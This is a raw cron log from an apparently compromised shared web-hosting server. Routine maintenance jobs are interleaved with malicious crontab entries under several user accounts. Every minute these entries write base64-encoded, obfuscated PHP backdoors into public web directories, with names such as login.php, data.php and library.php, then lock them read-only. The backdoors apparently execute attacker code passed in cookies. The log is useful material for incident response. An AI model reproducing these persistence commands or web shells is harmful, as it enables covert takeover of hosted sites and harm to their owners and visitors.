Mar  1 14:00:02 medusa CROND[5545]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:00:02 medusa CROND[5524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:01:01 medusa CROND[29708]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:01:01 medusa CROND[29709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:01:01 medusa CROND[29710]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 14:01:01 medusa CROND[29711]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:01:01 medusa CROND[29712]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:01:01 medusa CROND[29715]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:01:01 medusa CROND[29716]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:01:01 medusa CROND[29717]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:01:01 medusa CROND[29718]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:01:01 medusa CROND[29727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:01:01 medusa CROND[29728]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:01:01 medusa CROND[29730]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:01:01 medusa CROND[29731]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:01:01 medusa CROND[29726]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:01:01 medusa run-parts(/etc/cron.hourly)[29710]: starting 0anacron
Mar  1 14:01:01 medusa run-parts(/etc/cron.hourly)[29812]: finished 0anacron
Mar  1 14:02:01 medusa CROND[22093]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:02:01 medusa CROND[22162]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:02:01 medusa CROND[22163]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:02:01 medusa CROND[22165]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:02:01 medusa CROND[22166]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:02:01 medusa CROND[22167]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:02:01 medusa CROND[22164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:02:01 medusa CROND[22169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:02:01 medusa CROND[22160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:02:01 medusa CROND[22173]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:02:01 medusa CROND[22176]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:02:01 medusa CROND[22178]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:02:01 medusa CROND[22174]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:03:02 medusa CROND[14696]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:03:02 medusa CROND[14697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:03:02 medusa CROND[14699]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:03:02 medusa CROND[14700]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:03:02 medusa CROND[14701]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:03:02 medusa CROND[14702]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
